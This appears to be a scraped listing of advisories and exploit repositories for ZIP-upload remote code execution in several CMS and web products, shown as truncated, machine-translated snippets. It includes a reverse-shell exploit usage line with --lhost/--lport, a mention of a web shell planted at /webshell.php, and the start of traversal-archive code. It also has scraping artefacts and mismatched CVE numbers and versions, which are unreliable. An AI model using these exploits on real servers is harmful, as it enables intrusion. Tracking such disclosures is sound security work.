Grav CMS vulnerable to remote code execution via .zip file upload

Summary A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair o...

EUVD-2026-58633

Grav CMS vulnerable to remote code execution via .zip file upload...

GHSA-R94F-HX44-8JQF Grav CMS vulnerable to remote code execution via .zip file upload

Summary A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair o...

CSRF-to-RCE-on-Backdrop-CMS

Backdrop CMS 1.20 における CSRF から RCE への昇格 この PoC は、Backdrop CMS バージョン 1.20 の CSRF を悪用し、RCE に昇格させる方法を示しています。 CVE ID CVE-2021-45268 説明 Backdrop CMS バージョン 1.20 では、サイトにアップロードされた ZIP ファイルを介してプラグインを追加できます。また、CSRF...

ZIPFileRaider

ZIP File Raider - Burp Extension for ZIP File Payload Testing ZIP File Raider は、ZIP ファイルアップロード機能を持つ Web アプリケーションを攻撃するための Burp Suite 拡張機能です。デフォルトでは不可能な、HTTP リクエストの ZIP コンテンツに Burp Scanner/Repeater ペイロードを簡単に注入できます。この拡張機能は、抽出と圧縮の手順を自動化するのに役立ちます。 このソフトウェアは、キングモンクット工科大学トンブリー校 KMUTT の協同学習コース中に Natsasit...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager モジュールアップロード RCE モジュール更新エンドポイントでの未検証ZIPアップロードによる認証済みRCE。 影響を受けるバージョン: OpenSTAManager = 2.10.x 必要条件 pip install requests 使用方法 root@kitploit: Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444...

CVE-2021-25094-tatsu-preauth-rce

Tatsu Builder WordPressプラグインにおける事前認証RCE CVE-2021-25094 Tatsu Builder 3.3.11以前の未認証RCEの簡単なPoCです。例として提供します。 詳細な解説はこちら: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ 使用方法: root@kitploit: python3 exploit-rce.py -h --technique TECHNIQUE --customShell CUSTOMSHELL --keep KEEP...

CVE-2026-69212

CVE-2025-69212 — OpenSTAManager OS コマンドインジェクション RCE CVE-2025-69212 の概念実証エクスプロイトです。これは OpenSTAManager = 2.9.8 の OS コマンドインジェクション脆弱性であり、認証された攻撃者が悪意を持って細工された ZIP ファイルのアップロードを介してリモートコード実行を達成することを可能にします。 アドバイザリー CVE: CVE-2025-69212 GHSA: GHSA-25fp-8w8p-mx36 影響を受けるバージョン: OpenSTAManager = 2.9.8 修正バージョン:...

CVE-2023-5965

Espo CRM 7.2.4 CVE-2023-5965 & CVE-2023-5965 の PoC CVE-2023-5965 アドバイザリ 認証された特権攻撃者は、更新フォームを介して、特別に細工されたzipをバージョン7.2.5のEspoCRMサーバーにアップロードし、任意のPHPコード実行につながる可能性があります。 ファイルをアップロードするには、Administration = Upgrades に移動します。 CVE-2023-5966 アドバイザリ...

cve-2023-5966

CVE-2023-5966 的 PoC 公告 EspoCRM 2.7.4 及更早版本存在任意文件上传漏洞，该漏洞可在添加扩展功能时导致代码执行。 此仓库中的 zip 文件会将 Web Shell 上传至 /webshell.php...

EUVD-2026-42951

Grav CMS — Improper Handling of Highly Compressed Data in Installer::unZip...

CVE-2025-32206

CVE-2025-32206 - WordPress Processing Projects 「LABCAT Processing Projectsにおける危険なタイプのファイルの無制限アップロードの脆弱性により、攻撃者はWebサーバーにWebシェルをアップロードできます。これにより完全な侵害につながる可能性があります。」 🧑‍💻 エクスプロイトの説明 このPythonエクスプロイトスクリプトは、脆弱性のあるProcessing Projects...

CVE-2025-2249

🔐 WordPress SoJ SoundSlides プラグイン ⚠️ 免責事項: このエクスプロイトは教育目的および許可されたテスト目的のみに使用してください。 📌 脆弱性の概要 プラグイン: SoJ SoundSlides 影響を受けるバージョン: = 1.2.2 種類: 認証済み（投稿者以上）任意ファイルアップロード パッチ状況: ❌ 公式修正は提供されていません SoJ SoundSlides プラグインは、投稿者（Contributor）以上の権限を持つ認証済みユーザー による任意の ZIP ファイルのアップロードを許可します。検証が欠如しているため、攻撃者は PHP...

CVE-2025-32118

🚀 CVE-2025-32118 - WordPress CMP プラグイン RCE エクスプロイト 🔍 タイトル: WordPress CMP – Coming Soon & Maintenance プラグイン = 4.1.13 - リモートコード実行 RCE 🗓️ 公開日: 2025-04-04 🔐 CWE: CWE-434 - 危険なタイプのファイルの無制限アップロード 📊 CVSS: 9.1 緊急 — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 📜 説明 WordPress 用の CMP – Coming Soon &...

CVE-2025-69212-PoC

CVE-2025-69212-PoC https://github.com/advisories/GHSA-25fp-8w8p-mx36 OpenSTAManager（バージョン 使用方法 root@kitploit: CVE-2025-69212.py -h -u URL -C COOKIE options: -h, --help show this help message and exit -u, --url URL target url, eg http://127.0.0.1 -C, --cookie COOKIE cookie value...

CVE-2025-32583

🚨 CVE-2025-32583 — WordPress PDF 2 Post RCE Exploit CRITICAL Vulnerability CVE-ID: CVE-2025-32583 重要度: 9.9 CRITICAL CVSSベクトル: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 📖 説明 PDF 2 Post WordPressプラグイン（termel開発）に、コード生成の不適切な制御 （Improper Control of Generation of Code）によるリモートコードインクルージョン（RCE）の脆弱性がありま...

CVE-2025-69212-PoC

CVE-2025-69212 — OpenSTAManager P7M コマンドインジェクション PoC OpenSTAManager = 2.9.8 — ZIPアップロードにおける悪意のある.p7mファイル名を介したOSコマンドインジェクション ファイル: src/Util/XML.php:100 — 未サニタイズの$fileがexec内に ベクター: /plugins/importFEZIP/actions.php → ZIP → .p7mファイル名 → exec"openssl smime ... -in "$file" ..." 使用方法 root@kitploit:...

Java-Compressed-file-security

Java-Compressed-file-security java web 圧縮ファイル セキュリティ脆弱性 テスト環境： root@kitploit: Windows For Apache Tomcat/8.5.16 0x01 ディレクトリトラバーサルを仕込んだ悪意のある圧縮ファイルの作成 コード： root@kitploit: coding=utf-8 import zipfile import sys if name == "main": try: with open"404.jsp", "r" as f: binary = f.read zipFile =...

CVE-2024-53691

CVE-2024-53691 https://www.qnap.com/en/security-advisory/qsa-24-28 https://vulners.com/cve/CVE-2024-53691 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 8.7 「悪用された場合、リンク追跡の脆弱性により、ユーザーアクセスを取得したリモート攻撃者がファイルシステムを辿り、意図しない場所に到達する可能性があります。」 発見日: 2024年4月22日 修正日: 2024年9月7日 影響を受けるバージョン: Q...

CVE-2023-32778

An issue was discovered in ILIAS 6.23, 7 before 7.22, and 8.1. An attacker can execute arbitrary code via ZIP upload...